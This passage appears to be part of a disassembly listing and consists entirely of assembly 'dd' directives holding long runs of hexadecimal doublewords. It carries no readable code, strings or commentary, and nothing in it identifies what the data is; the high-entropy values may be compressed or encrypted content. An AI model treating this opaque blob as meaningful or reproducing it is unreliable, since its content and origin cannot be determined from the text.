0FC0DD96h, 4900E5FDh, 0B1028E09h, 16DFE83h dd 0D2DC4D37h, 2B4E2005h, 70C40CCBh, 0D9A13017h, 75014C6h dd 855FD0CDh, 0A4500B48h, 88843401h, 0B2746351h, 0EC0B30D9h dd 5F773A00h, 4F459B13h, 6D3F01A6h, 92831464h, 0C531171Dh dd 13AC11Ch, 0CE9A91D0h, 0DCC440F5h, 0CB0BD718h, 45C592E8h dd 8111EE4Ch, 0F316F5DDh, 0C074F4h, 9BF0E2E1h, 0CF9EA11Eh dd 14D421BDh, 880F1DA0h, 6956C00Eh, 8A04B237h, 9DE78843h dd 3888788Eh, 4684D9C2h, 0B4E0060h, 44EA55ACh, 1F0723DAh dd 4D698918h, 0BCCDE970h, 1CEC5C06h, 3D794F02h, 0EC441CCBh dd 2D187513h, 2030C01h, 9C6C4F36h, 0B833EAE9h, 58CFAC3h dd 0AD042CA9h, 8884DE18h, 76CFD0h, 0D2CF6C04h, 2BE3FC38h dd 5A85F009h, 5F99482Ch, 48927B0Bh, 34A2C0E0h, 1FCB6509h dd 1D18590Ah, 494A20B1h, 0FD18A0B2h, 38891E7h, 0B583A700h dd 4CF86E6h, 19E5028Ah, 0EB1FFEEEh, 0FF4BC760h, 0B883209Ch dd 98439360h, 0C39A2A1h, 7A05598h, 5F716871h, 8072E03Dh dd 49BC4688h, 0E781F4h, 0D7285773h, 4E32E559h, 0D68E5400h dd 428078EBh, 0D1B8B187h, 0B3F1802h, 0D992E226h, 3775E8EAh dd 6C920744h, 0A67A6F19h, 0AC650C80h, 0F2529C3Bh, 0E47B25DCh dd 0D1849928h, 12A41839h, 0E95964ABh, 0E2251680h, 13F290B2h dd 5C6A830h, 4D7EE6Ch, 0F4E48C32h, 0AD1F000h, 688CF5EBh dd 7B6A13F6h, 1370F9E5h, 0F0E46413h, 44EC7C27h, 0CC4E82EDh dd 5A65F8C0h, 95D18314h, 0B679891Eh, 4B7CD8ADh, 5C44C068h dd 0A4B0AE28h, 0B13B6901h, 82A07EECh, 0E60D1A82h, 7CD43D49h dd 7500C925h, 0A5D98213h, 6E9DD944h, 0F0885413h, 78091E06h dd 4B628148h, 3B254F77h, 273DB488h, 60E0B49Ah, 0F3F1ED45h dd 0DE06407Dh, 17FD0C3Ch, 85D50010h, 323BD2C1h, 6D124F42h dd 10F25FA0h, 10CD8D00h, 39DAD1D4h, 84336103h, 806CBD78h dd 4A16B8BFh, 54BCB0F6h, 59C72725h, 0BE951D14h, 98550204h dd 4730C043h, 8A2F1DC9h, 65DC40F8h, 5E9DC9Ch, 0BD0D281h dd 2B05C688h, 3A44E53Fh, 5481CC95h, 0AB042768h, 6645140Fh dd 4C8EEB1h, 3F3DDD97h, 871CE4FFh, 27A22E1Fh, 0B521C343h dd 6FDBA80Ah, 0A962019Eh, 31F35C8Ch, 8C62FFh, 0C36BE5Fh dd 0B796661h, 0D951E64Dh, 7480B8AFh, 97830EF4h, 90880945h dd 0A00629ECh, 96181D55h, 288F405Ch, 0D2005DB0h, 4F26A958h dd 0CE8FBC7h, 2A654964h, 86BFF5C9h, 124135F0h, 0F0E8929Dh dd 0F419BF24h, 0E2E0F0D9h, 41F98820h, 1077C231h, 11BB1858h dd 21DFD97h, 0EBEEB09Ah, 94E8E04Dh, 0A31724A4h, 0A01027C4h dd 44004AB3h, 0D6BD01ECh, 983288h, 4204A172h, 0D2182056h dd 960934Ch, 0DCC10EB9h, 15467628h, 0B95C7F00h, 0C576E0B3h dd 0B7808561h, 83C5B099h, 9AA98043h, 48245D0Ch, 0F7F0B2E0h dd 0CA4DC0D8h, 4C71F4D3h, 0AF107814h, 2D4F8788h, 0A4F05934h dd 0F9737C43h, 0C41B1DF1h, 50BD49A0h, 0AC94B8B4h, 2714438Bh dd 0A8F93Bh, 512BB702h, 3C0008E7h, 4854778Ch, 9F3BED3Fh dd 0DEC34C6Dh, 8B5FE029h, 2812071Fh, 0A40D4722h, 5C60AE08h dd 0F78CB1C6h, 2F5F0Ah, 11001623h, 4C04597Fh, 1D4609A5h dd 687C1201h, 0B38800F4h, 8980A76Eh, 98C02E0Ah, 29054540h dd 66ECA8FCh, 0C0A84BB9h, 0DB9E4F04h, 1670460Dh, 0A5E308DEh dd 4F19D859h, 1EF0A466h, 20956482h, 38A86A20h, 26B00022h dd 3BD82967h, 1F097A7Bh, 0E4DA52A1h, 0D1B769A8h, 858988B7h dd 96F40091h, 0B4E09A9Dh, 0ECB61230h, 0DC2BD7ACh, 0F5007323h dd 0A5BD54C9h, 4FC40434h, 0C1C20626h, 1205D46Ch, 0D576201Dh dd 0E904C344h, 0F39B2F88h, 829430AEh, 8C991F9Eh, 44488h dd 0B566A239h, 38B9F592h, 0DC1915D1h, 5EF0F5ADh, 0BD591C09h dd 0C4C87929h, 4B88BC37h, 138024DBh, 0A0B89C25h, 0F2981640h dd 0F4D14F91h, 15440320h, 3D14A4E0h, 73E139Eh, 0C200B740h dd 3F1F2C81h, 0EE516677h, 0E2068034h, 3DC3E00h, 0ED474BCDh dd 75C9261h, 0B8BDB64Fh, 70B98108h, 85308113h, 4E4218DDh dd 0D0A2F055h, 203073F2h, 7C723855h, 7536A507h, 6EA101B9h dd 0C0702F1Fh, 0F0ECED06h, 3B2FF951h, 7762310h, 0C03589ECh dd 0BF5B8657h, 90828D16h, 29D44D8h, 81062211h, 3064C38Ah dd 0B69E3912h, 68090B2h, 0B2474DCEh, 7470A295h, 80805E85h dd 0AA7CD035h, 32006C19h, 0DA93D729h, 0C6F4A6Eh, 81654CA8h dd 4D3EF051h, 0A2B5037Ch, 0FF214B59h, 5B9847B0h, 9200BE70h dd 0B8CB88Dh, 0FB4F3284h, 0F253702Ch, 9E44C98h, 0C9248282h dd 3844299Fh, 588C69Dh, 0E7A5057Bh, 0E8B8EC89h, 0A0008C3Ah dd 6DE36F5h, 0B927B259h, 3D580898h, 0D8F33812h, 81024054h dd 0D85EE2FDh, 0C0886D2Fh, 0F8ED1935h, 2F1D2340h, 28B74D5Bh dd 0C68FD781h, 0DDC2907Eh, 0D0710C09h, 21542C68h, 8380148Ch dd 0BE0A6873h, 533A0007h, 8A9FB801h, 0B4B8993Ch, 85E54717h dd 90138C80h, 9C90B5C3h, 5C82C40Dh, 602C6AB4h, 0A4F9D79Ch dd 2C7DCE00h, 1F9DA285h, 0A9EC143Dh, 0F42D1CF2h, 0ED9F1850h dd 0F2EBC3B4h, 0C7E44A83h, 1F83C844h, 0B86DC8Ah, 0AAEA8EC0h dd 3AF154F1h, 102ED819h, 11C60D0h, 93468494h, 123A9A59h dd 0B8F0E958h, 90660001h, 1FE73541h, 0F9002B27h, 0E1945F80h dd 2733B622h, 0EC59FE42h, 86148C78h, 110D6400h, 2A4B525Bh dd 533817FBh, 50F093FCh, 1E07E488h, 71005BE4h, 1C20D55Fh dd 4ACE45C9h, 4AD4E7DDh, 89C818CAh, 8F547C0h, 0B9BD023Dh dd 291218B2h, 4440205Ch, 0DAD08Bh, 31587E41h, 87381ECBh dd 69CA8530h, 9647C7h, 3F5A57FDh, 1BABA9E6h, 12FCF500h dd 368D4F6Ch, 8E480042h, 0E56F8AD6h, 0CD95848Bh, 0FCB869F8h dd 70012B31h, 0BC839F95h, 0BBD37ECEh, 64B9031Bh, 92CA3910h dd 0F45FABACh, 0D9DCD12Dh, 203E18D1h, 58303868h, 0A3BE5085h dd 25C098AEh, 0C0D0890Dh, 45481497h, 48882E08h, 78ED009Dh dd 0CF743679h, 8902559Bh, 2A34084Ch, 47585EF9h, 58415725h dd 81076177h, 30C03F2Ah, 1324629Eh, 0F7800C21h, 751410FCh dd 0A85CBDD6h, 0C4A0404h, 0AF3F8757h, 402EC028h, 0B625479Bh dd 449CCDE3h, 87EF62D2h, 5C99C5F0h, 0E545E0B0h, 379713D1h dd 46BD6Ch, 0DA521B0Bh, 27E424BAh, 0F859129Dh, 7BDD5E09h dd 0AF970550h, 0B684C11Ch, 0A4BA0728h, 13443Dh, 0C4449436h dd 6AF52DBFh, 26E8744Ch, 44A5B04Fh, 0DD210054h, 99B58E9Eh dd 0CE00A212h, 9DA4A525h, 4E886892h, 54D0092Ah, 5BEBF054h dd 8A0850CCh, 1A4CC709h, 0A4347B48h, 8C465C5Ch, 0C6AA440Eh dd 0B847B900h, 0B75BA41Ch, 98848C2h, 0B11A888Fh, 0DCD8F6h dd 1067FC4Eh, 0BD0F60ECh, 7B26DA01h, 929E7D4Bh, 7A3E3961h dd 80F41C58h, 9438E425h, 0AC02DCE4h, 150C269Bh, 6A444819h dd 3FD8B4C1h, 32D61881h, 3E4FDF62h, 0F0CB2088h, 2B7D0099h dd 1654C58Fh, 12B79E39h, 0D4135DF8h, 7D41A1A0h, 0F4319002h dd 5E354536h, 60ED2758h dd 901ABBC3h, 0B7A16Ch, 5DD767C9h, 9C74A95Eh, 41E4D2Ch dd 4774674h, 9608CBCDh, 52CC04BBh, 8C041320h, 3E1CDFA8h dd 182A8618h, 0D727BC66h, 0D8C4D914h, 4E86148Bh, 0E564F45Fh dd 689DA44Bh, 6CC9280Fh, 746BA0F6h, 0C2A01C40h, 0C355ED46h dd 0DCA000CAh, 0B1B31877h, 0B8317BEBh, 445A7437h, 8DC08A88h dd 0B99E077h, 0F9D5057Ah, 46762C7Eh, 818A1339h, 26F4CC02h dd 89E3115Ah, 853FDE91h, 40EBB56Bh, 3E58E8F8h, 74FABABDh dd 704A5C25h, 0A249008Ch, 51B83330h, 687CCB48h, 0D8CC4B4Ah dd 90EE2513h, 45128470h, 28E62B64h, 172D80E0h, 0C57F7207h dd 0C6D4B6E7h, 72C17D86h, 63FCB03Fh, 0B0B4B07Eh, 38E8F297h dd 7B64A45Eh, 92AC31AEh, 21E408C3h, 97C9FA15h, 80D01114h dd 0F5633FECh, 78430483h, 0AB289A3Ch, 0EACBF002h, 6A885EE2h dd 76217404h, 7901B817h, 26D2456Ch, 2BBEC5BAh, 8A5BD09Ch dd 141970C1h, 9E0C30EFh, 2B45CEA1h, 3AC0C42Ah, 13772348h dd 356F0F24h, 59AE3AC0h, 40C0D9B4h, 8A3FB040h, 849DACh dd 0E560BC03h, 40DF309Ah, 720850D6h, 0C66E86D4h, 20AC80B1h dd 7FB9B7h, 0DCEE57C1h, 0AECC86D5h, 0E7A8E317h, 402E306Eh dd 0EDB90824h, 0F4E8DE93h, 8CDABCh, 3E8F62D5h, 0A2A685Ch dd 0D2F2E90h, 91DCE101h, 4578202Fh, 19D71115h, 735CF420h dd 0D40C0002h, 23E22663h, 9E013A77h, 6D4F9AB4h, 142F7664h dd 0D7E85C8Ch, 1EF3758Ch, 23D57BFh, 714ED320h, 0C5020CFCh dd 64FF890Ch, 0ECC19F38h, 7D5C4112h, 7B982134h, 0B08050DBh dd 63F78739h, 3335412h, 9B4B20BCh, 0D2EE80ECh, 3CDEB812h dd 40FE3F2Fh, 8F05B218h, 4AEE8E56h, 0ED7052AEh, 257AC38h dd 60A7EE35h, 925F5EA0h, 8837751Ch, 6D380900h, 61B8169Eh dd 9282484Ch, 0FC09D2E4h, 0AB2A4078h, 6000E3D8h, 0A1C89476h dd 9508F436h, 6D9D44EEh, 0AED140A8h, 6AF509B6h, 0C02CD4C9h dd 788C0ABCh, 0C87A373Dh, 0A231C0C2h, 87EF657Fh, 0AA11D9F1h dd 58305B10h, 0D6E200C7h, 0E12F4269h, 187A0CA8h, 6CB2416h dd 0A65A78B7h, 172116D0h, 0F98E54DEh, 5F224EFEh, 0FF56EDA0h dd 72208068h, 49EE3924h, 25073BA0h, 0E1596409h, 0A64F0048h dd 2894456Fh, 84D360B1h, 0E2529C60h, 44CD8A4Bh, 40F52C20h dd 0DE25FDC4h, 8428E5CBh, 0EB48E1A3h, 1623403Ah, 0C9793B07h dd 47E377A0h, 1CD15D0Dh, 2F271324h, 75E574E5h, 4BB3A460h dd 0C0370957h, 345E2CF3h, 729C8262h, 706304F0h, 0BAD8A648h dd 0BD18F805h, 0B59388C8h, 0FB2708C5h, 341B5030h, 0DC08AB97h dd 9C3EF43Ch, 0F00187A7h, 0B4D4EB46h, 0FC5431AFh, 751800Bh dd 0D1FB4FB7h, 0A27700DFh, 0BAB3CB6Dh, 0C20EE3A1h, 52C266Ch dd 0ACD6B9h, 92E0540Bh, 3B79E8D1h, 6E004618h, 0C3187880h dd 25E57A8Ch, 74E7F2EDh, 23623864h, 713C90D7h, 0A915006Eh dd 5F9E4762h, 0BC778EB6h, 95596613h, 920618B8h, 0C8C20EB9h dd 0D841862Ch, 0B11C2D85h, 0C2A494D3h, 80505466h, 69F19663h dd 0A008191h, 9AD19406h, 27439746h, 4844EDBFh, 0FF3D177Fh dd 80A33F56h, 0BFC80AD8h, 7AFEC174h, 0F93304BEh, 0F865BBF0h dd 0CBEB809Ch, 39024E89h, 5D863581h, 0D1E7FC0Ch, 0C01D55F6h dd 86C08E74h, 0F3681BE4h, 0F270C6Dh, 547911A0h, 134BEB00h dd 0DCA791Fh, 94A70FC2h, 97A0E595h, 0CB3E2336h, 0FA121E2Dh dd 988A1074h, 80B05A73h, 81109C86h, 0F57EF0C3h, 4B5F307Fh dd 9E133B00h, 5CF2B7E4h, 6F880930h, 0A45E25FDh, 400CD449h dd 0FBEDF6B7h, 0AE2C8E00h, 4754870Eh, 908397D9h, 290105A0h dd 241C8693h, 6DD8368Dh, 0AA5C1C53h, 61BF4010h, 0C56C6520h dd 0E3B4E195h, 0F4D81420h, 86DF1867h, 6CD9A9C0h, 40E11B01h dd 64A2C507h, 6A208C2Eh, 0D088295Bh, 10A08025h, 0DDBD81C0h dd 50C923CAh, 0F8680A4h, 9793DEADh, 0A239C283h, 0D41EC7A8h dd 19CB1D16h, 66C298BCh, 645EFFAFh, 74000F91h, 48E34705h dd 17513765h, 0C3C944h, 41ED41EEh, 8691F003h, 4E029C9Eh dd 209382DEh, 38B86E14h, 90F2424Ah, 0DC1F3122h, 0BF4411D6h dd 5492FDF4h, 0DE00E0E2h, 453C1E90h, 46EE9305h, 39CF6780h dd 1092664Eh, 324460B0h, 0A8E8E9F7h, 35AF0409h, 0BA4F9321h dd 0E5492020h, 8DA11E3Ah, 0E7B64B99h, 30784453h, 0D77B0014h dd 2D6D35A5h, 0FCB1E3E4h, 0B1B86780h, 9DC277F2h, 1940884h dd 0DC51C25h, 0F4ADC88Dh, 0ECDB7A31h, 0C01A7983h, 0FDF77588h dd 182E70E1h, 925C48B5h, 79BE1297h, 0B3D4A626h, 16B1900Fh dd 35BA043Ch, 0DB267AE4h, 2D589F4h, 92B5E14h, 2C145Eh dd 794100DCh, 0AD4D2211h, 2B48921Fh, 15890E64h, 2D4A6601h dd 29084161h, 0F857A8CCh, 19A60173h, 0B3E12140h, 0C1502090h dd 0CED20B84h, 205EA97Dh, 9D2CA70h, 0FD4166E2h, 5B3F2074h dd 35AE90D4h, 0F290B2F8h, 0B04E30D3h, 64777805h, 12AF90B9h dd 0D618BC1Ch, 31CD7804h, 6AED6CBCh, 7680E09Ah, 73654C58h dd 0ED4FDD73h, 505900E3h, 0D421C52Fh, 8507381h, 24778A04h dd 6EFB1DF4h, 0D55C0194h, 88B2911Ch, 0C828CE6Ah, 0DD8EC016h dd 925F013h, 0C0D44439h, 0C96AFB9Eh, 0D00AACA3h, 709C13A6h dd 0FD684Eh, 0BABCBEE3h, 351657D4h, 0F8B9962Dh, 12C1BBC4h dd 9AC26002h, 145D85h, 84F2A743h, 95822B30h, 0C6D86413h dd 0CD03EF21h, 0C30435B7h, 618CC045h, 160FF8E6h, 0B234B91Eh dd 0ECB75AF8h, 0BC23810h, 5EED474Ch, 3D4F8464h, 0AE7C84CBh dd 8A27EC01h, 0EC407624h, 9108B8BEh, 6084D324h, 0EF163DCh dd 51EE4588h, 11024CB4h, 351BCAA6h, 2FEDE4C9h, 0A0664031h dd 0B90C942Eh, 0F8A6D244h, 161107A0h, 85246B04h, 0C2AA8FB0h dd 0E87E9CE8h, 6017589h, 3A70D616h, 8ABEE38Dh, 6A0F8E02h dd 34621464h, 91D09755h, 0A4318713h, 2D77DB80h, 0A3831256h dd 806CF2D7h, 8010AFD2h, 63470C71h, 82C90716h, 0C489964Ah dd 4D40E7D7h, 1AE3988h, 2582D1BDh, 0BE9EBC18h, 0B5137551h dd 0CCD63797h, 92952D10h, 902CCC71h, 0E44F5960h, 5E610005h dd 0A9346963h, 4900E3FDh, 410FE066h, 4A9AD147h, 58C4B244h dd 6F020A1Ch, 188024E1h, 3D8B8D5h, 0F8A007F7h, 0F2E1467Ah dd 0CFC092B5h, 39042C15h, 93A65E8h, 85A00CE7h, 6903A927h dd 22367262h, 0D68181AEh, 0B90CD47Eh, 906F4F38h, 0E5823738h dd 74A5147Dh, 0AAD890DFh, 48A2E470h, 3B0BEA78h, 20FE1FCBh dd 2CB879A5h, 5E640014h, 91389BB4h, 9802B30Bh, 0F100790Ch dd 3B61193Ah, 27A0DEC2h, 3B08A090h, 3367C304h, 57AC3CECh dd 0B164180Fh, 0A65E80B5h, 0C5B1E18Ch, 25EE5AD0h, 70E49E5Dh dd 0B9042D12h, 9D2FE8E8h, 0A3E074CDh, 1A1A67Ah, 96C45C6Ah dd 2E070269h, 13882C9Ah, 0BD0561C0h, 0A7ED1CF3h, 8C00203Fh dd 0BFDC974Fh, 2A8F4E32h, 3848E64h, 0F2FC9279h, 22F8529Dh dd 76F43806h, 6942A209h, 0DD07753Eh, 4F622F8Eh, 8955369Bh dd 8C4448h, 6A2D5B4Ch, 0AACDB20Dh, 3B157958h, 80803E7Eh dd 9C42B9DEh, 25554136h, 14A2A14Ch, 3562A991h, 942A7540h dd 965A5C00h, 25F2BE26h, 0F34D5A84h, 1482263Ch, 910CC405h dd 47CE8A0h, 1DBCB8CFh, 0BC48AF40h, 0CE860A75h, 80A280B4h dd 5B2654D5h, 88FD4B00h, 28DF1C7Eh, 0ABC40040h, 53081E89h dd 83973696h, 0E7A560B8h, 0C7AED2E5h, 92903161h, 683E7F50h dd 0E703D723h, 0F0D5516Ch dd 98077CD3h, 57D210A8h, 0BDC05CEAh, 0B6FA30C2h, 0F3255300h dd 2B5DF715h, 0C5902212h, 48B4CB73h, 94EC7497h, 2741C701h dd 25E25980h, 0E09A2B30h, 3BC189C8h, 4BF98FEDh, 51FB832h dd 0A8B7EDC0h, 0ED4AF400h, 25D0F0E3h, 4C5420B4h, 0F897D443h dd 0F8395C6Dh, 653B1F0Dh, 69A68F5Ah, 0A85E066Bh, 7938715Ah dd 0FAF1180Ch, 9A760501h, 0B9F88A9Dh, 50E74A34h, 0AB594534h dd 5903646Eh, 2E1BD291h, 655BFBB8h, 0E0F3405Eh, 0C1489E1h dd 51303FBBh, 1999B819h, 1EDD2006h, 0B08024B7h, 0D2EBF4BCh dd 74E08816h, 9640164Bh, 828A74Fh, 0B9B8092h, 0E8791ECBh dd 9D4C143Eh, 0B7CF1D8h, 9E818600h, 0CC9DA5Bh, 45C19C7Ch dd 2F125DE5h, 0C0BBC870h, 0FFDE3DAFh, 4625E348h, 3D1D00E4h dd 28B08D6Ah, 7A159A03h, 988EBD1Dh, 4C0320BEh, 0B74B4738h dd 2CBEF123h, 76D5470h, 3E4F35CDh, 6477318Eh, 8EA43C7Fh dd 0A42382DFh, 974B6061h, 0B67F29h, 0C3646F28h, 0DD575FD4h dd 0C5BD3625h, 80B1EFF0h, 38B6B2E7h, 0F106F86Fh, 0A620742Bh dd 5F64A2D4h, 35574442h, 817791F4h, 4237D1EFh, 0F4907DC6h dd 0E700322Eh, 280DAEB9h, 2EF90352h, 39C05C8Dh, 0A4FDC897h dd 0CBF2BEACh, 87A0C2A0h, 70044F5Ch, 24819888h, 8400D22Eh dd 0BC9F92B3h, 1C2581B8h, 403AF149h, 51AF1290h, 0DB61BC66h dd 0B13AD2C1h, 6C2C3461h, 0EEEACBC2h, 0FB27605Eh, 0E36370A8h dd 0B6BB3F03h, 0C88E6617h, 0B548935Ah, 0C8B434E4h, 71B771DCh dd 80673D0Fh, 54E5C0A5h, 64C8C5ADh, 0E3A16084h, 9F0378ECh dd 5C004CB7h, 8B60AC12h, 41730B84h, 0E0023687h, 90DD9310h dd 0E6473D5Ch, 402B755h, 505A9E13h, 0FB397127h, 18D0597Ch dd 44716367h, 1CA8A070h, 7261B49Ah, 0BAAD4050h, 4480C17Ah dd 8718783Dh, 0B570CEACh, 1A952F7h, 0FC6948F6h, 6BBD3896h dd 6C09886Eh, 80DB7AA0h, 0E15C5C26h, 3BD8FC19h, 913E603h dd 0E9D4101Fh, 146264D5h, 5547E100h, 5FDD46FDh, 7B5B194Ch dd 1843EA02h, 0D78A51DCh, 4D5D84BAh, 0C8B9401Ch, 251FCF56h dd 0FBD6EC1Fh, 4FE284BCh, 4D8D8F21h, 0D0C97C31h, 2DCF12F4h dd 54787463h, 0F7B0644h, 0E141EBBFh, 0EFDDBA00h, 0B300528Ah dd 0B5044BF1h, 2E8D967Ch, 24E44232h, 0B73F03A4h, 0B4A00D63h dd 3E27821Ah, 708CDB4Ch, 7B125807h, 4C601B64h, 2DA6BD3Fh dd 78799BEEh, 704453A5h, 175CA66Bh, 0B7F70AD0h, 1D493443h dd 811611ECh, 70DF7433h, 0BDE9D0h, 4413A0C2h, 0FB58AE3Fh dd 0EE195925h, 84CDB5E4h, 7B113F40h, 769012A5h, 2044A8DAh dd 0A11E1309h, 1C1CBC12h, 4389CB1Bh, 549D771Dh, 25830D91h dd 74A96C4Bh, 90807A20h, 82D14689h, 0DC2C54h, 2364C2C3h dd 0A08859CFh, 0B28000BEh, 0C8200D28h, 0C4E8B554h, 3B466CB9h dd 12FC2098h, 1776A080h, 0B9937AABh, 0F69B888h, 0A4B45801h dd 407EDE2Bh, 0F98CEA40h, 991A0029h, 84E57CAh, 0E0004817h dd 3FEFAB6Bh, 25E940A2h, 305C6AFFh, 5110D909h, 1801D9B8h dd 371200FFh, 864DE306h, 590CE6D6h, 9180648Dh, 1F2FCCDh dd 0F32C8760h, 2A5A4FC2h, 9E6DECC1h, 9E5B1A7Ah, 80BC377Dh dd 89E4282Dh, 0CF01CC80h, 0D39E4FDDh, 50ACA49Ah, 0C4B108D0h dd 0E2929101h, 0DB2B4424h, 991BC09Ch, 16EC33Fh, 72AB65F0h dd 2F2DEAB4h, 0ECE6E413h, 0E7583AE0h, 4A287608h, 4F8900F6h dd 85877C1Dh, 6E81C860h, 979C11h, 0E9B14CD9h, 90E769F9h dd 0EF06DB01h, 0BA78E48h, 39EE5980h, 0D52ACC7Bh, 9E380807h dd 7440DDC8h, 0D2A54E54h, 0A9B80BA8h, 0E02C20F9h, 17E178DEh dd 24F71B2h, 0CD6E91D0h, 415F1472h, 6D255882h, 6B81C1A4h dd 0D11430C1h, 0B0B9054Ah, 158466CFh, 0C5920411h, 1FB8E4BDh dd 0F902307Fh, 0F08894E1h, 4305644h, 0BA20E9EBh, 874B4428h dd 80650FE4h, 54D503CBh, 0E1356E01h, 3D1B7E97h, 177B31F1h dd 3A9CE854h, 4F6C5C96h, 273FC48Dh, 59ED5098h, 0DB1E3E6Bh dd 0A0451612h, 2CAFE789h, 224165C0h, 5AC89AECh, 7D444471h dd 718814EDh, 488E055Bh, 82C1DAC8h, 3EF8FA0Ch, 42C903D4h dd 7DED4741h, 46813D5h, 0FA9A5ADEh, 26683400h, 88F939B7h dd 87C7A63h, 9CE89A04h, 64AF1F51h, 5008ABA8h, 8870250Ah dd 0E4344795h, 155861D7h, 12DB69E4h, 403F207h, 23EA130h dd 0D0028992h, 907B95A4h, 17425D70h, 0C0D9ECC5h, 0E7A87EECh dd 80C035B7h, 93CF8F3Fh, 41025FAh, 0E31EF0A5h, 0A58C2E62h dd 0D2003C59h, 9196A815h, 0F2EE0055h, 0F8289DE7h, 0F7020BF1h dd 422D92ABh, 4C22408h, 50E82586h, 5124539h, 0DE74F41Ah dd 0E96821Ah, 410F5B1h, 351F10BBh, 37407990h, 0CCB2D9DDh dd 4E3D7F49h, 75CCC051h, 0BB1EEDBFh, 0BD89EE65h, 64C05E38h dd 9E3940A2h, 0FE9CAB3h, 0C159C4DCh, 6865EF52h, 9EC04408h dd 98128734h, 0F2A101F6h, 54C08BCEh, 4D85E9Bh, 37D950B9h dd 2D48B19Fh, 0ABEF1700h, 7CB1571h, 0C09530A0h, 9D571904h dd 2CBC9754h, 1124443Fh, 0A53F8BC4h, 17C8601Bh, 9D070BFEh dd 68937570h, 5CEE12D4h, 0F7D7807Ch, 0FD9AB5EEh, 41845C91h dd 18001101h, 0A08C66C3h, 145558h, 0BED79F9Bh, 734D14DFh dd 0C6C9322Dh, 245E4378h, 5050FC91h, 2C0C4119h, 6C39806Ch dd 2CA36748h, 178B5C8h, 9B3C9588h, 0FD08D860h, 3F41F661h dd 9AD49747h, 0A0835E38h, 0C34B06BCh, 882128C8h, 0E895E42Dh dd 67729718h, 82743139h, 185CFA81h, 6CA8661Eh, 0B6599812h dd 612EACF1h, 2AA5518h, 0DE70F67Eh, 413FBA27h, 0DE3FC1CCh dd 4F758198h, 83AE9F6h, 0B50B6170h, 0D63CE023h, 0A28C02A9h dd 79BE9635h, 88D4975Fh, 5765148Ch, 6035DB82h, 54AED6h dd 9EE0C3E7h, 2504F36Ah, 5B149298h, 92CB5D4h, 0D973C206h dd 18D1F9E4h, 6E50B56h, 87676A1h, 3249C60Eh, 5EFC844Bh dd 8B46FCF4h, 2CD1EC2Eh, 7CB02F9Bh, 0CD00F022h, 4BAB388Ah dd 78F6209Ah, 0BB7C00F9h, 51526926h, 0C9340D53h, 0ECE65107h dd 0D0619AE0h, 0F0D90831h, 6400C80Ah, 46B7F151h, 9BE34CDCh dd 0BC477012h, 746A818Ch, 0C82E7557h, 0C6000B60h, 8722E8A0h dd 2A23BB5h, 64FD9868h, 0C555331Bh, 0C45BE9F8h, 71C7150h dd 0F3D49439h, 6C657959h, 9A6038C4h, 0F427929Dh, 11A8E976h dd 73205EC6h, 0DBC894CCh, 0F5CBC264h, 1EB8828Dh, 0AF4804C2h dd 973F8C20h, 0D2801EDCh, 3130C4BDh, 80E4E874h, 46515564h dd 91A70239h, 505D609Ah, 1878B853h, 0C230000Dh, 3D68CEB1h dd 0A5091ABEh, 7E956A9Dh, 0B97B0B18h, 0F79AC71h, 0CD00FB18h dd 6EB6CA7Ch, 26015D49h, 8438E681h, 0AF1F7063h, 11F58871h dd 0A0B8E72Fh, 0A06AB52h, 0A94A6D64h, 0B4FF1287h, 4201CA7Ch dd 2FC623F5h, 0B52A890Ch, 0A08A2BD0h, 5B9DB722h, 60D779B8h dd 0C1974B66h, 6985C7F4h, 0BA1F1064h, 21528872h, 0F497D894h dd 71C0E5FCh, 25914513h, 4B1DFC09h, 0E278C4F2h, 0C008F768h dd 61A7D67Bh, 421AC800h, 0BE977E35h, 5E349EC1h, 84148921h dd 0FEC903BEh, 0CEE69820h, 0AA6700B7h, 23E3BFF5h, 1007592h dd 0B46B60A8h, 0BC0076Ah, 21E4252Bh, 0E34F8020h, 882F8305h dd 0C488C7C4h, 89BE600Ah, 0C0AF0015h, 866F0FD3h, 1809DC71h dd 590DAAFBh, 0BD4C80DCh, 617B3EBAh, 0E4426C04h, 12EA38B9h dd 0B034AED4h, 8054DBBFh, 0A0DBF64Dh, 0DC660285h, 8E20B705h dd 8C5C1462h, 7811608Bh dd 0DC0494A8h, 2654F995h, 0FF4C096Dh, 0C6B7B870h, 71E88248h dd 180979C0h, 0B59D0071h, 0D995CB06h, 501D5AAh, 461BDD4Ch dd 11EC9247h, 4C207922h, 1222AC70h, 29B3F603h, 0D0646B8Ah dd 2D37BC9h, 215E576h, 9D73775h, 0B81B57BCh, 0CAC5B03Fh dd 0BEB488BCh, 0CB1CD46Ah, 0E6C589C0h, 109D9084h, 29DC00F4h dd 929E5A59h, 3BEB4F48h, 0D22348h, 385AB6ADh, 0DA7CE36Eh dd 669E40A0h, 61E1350Bh, 699074D3h, 0E6002464h, 7B011341h dd 9A68DA4h, 0B2890693h, 7B480975h, 0DC0C70D4h, 0E0A00404h dd 8AB50DAh, 6800C0C0h, 4D7AE7C8h, 2F9A4F45h, 0D2394h dd 9ED070BEh, 640BC0BDh, 7431A8B9h, 0D05EE9ACh, 12647069h dd 8005ED47h, 0BB3F44B0h, 0E0DBAE2Fh, 2D621C60h, 4CD174B9h dd 50045B69h, 711739BEh, 0E8AC19F4h, 97D9A480h, 0F6035DE2h dd 7730CA2Fh, 57FFA218h, 4F164465h, 0F400C0E2h, 0BA8F2266h dd 2700A560h, 0BF53C369h, 91FB4BEh, 6E0DC38h, 9CA780A7h dd 6C03A689h, 0DFA04D7Dh, 0DDCF9BD4h, 92424EC3h, 6620C047h dd 0E09F4138h, 0C9C99DB2h, 8CF2FDh, 40CE2E8Bh, 61768865h dd 8E458900h, 0AA4B4C27h, 2F554E9Ch, 0D323BCh, 5F28D16Eh dd 19C04018h, 6D9B1F3Eh, 5BD27BDCh, 5F54A315h, 48001CF2h dd 9DDCD095h, 6D0B4F88h, 0F4662F74h, 0A8DB2568h, 20EBF70h dd 2B7A0369h, 0DCF45CC7h, 0E04E1147h, 0A8A5F6FDh, 951FC46h dd 955352C3h, 84597C7Bh, 55CDD18h, 66F810E0h, 75914001h dd 3BC8473Dh, 0F94E2CF2h, 33588044h, 139779Bh, 0AE93FB7Ch dd 719578C7h, 603D2E1Bh, 58C6A7Ah, 255C1BB5h, 21100882h dd 3038DE3Dh, 39176E90h, 78AC6A16h, 3094CB4Ah, 6D67157h dd 7D890FF1h, 7B1659FCh, 0A789039Ch, 8A9293h, 1A77834Ah dd 0C5EDE545h, 4C59F1DFh, 0A32B1FCEh, 4858AE2Ch, 6D6BEEC0h dd 1C00DE98h, 6424E0FDh, 7DDC89Bh, 0C02CBB41h, 0E03B0412h dd 389654D4h, 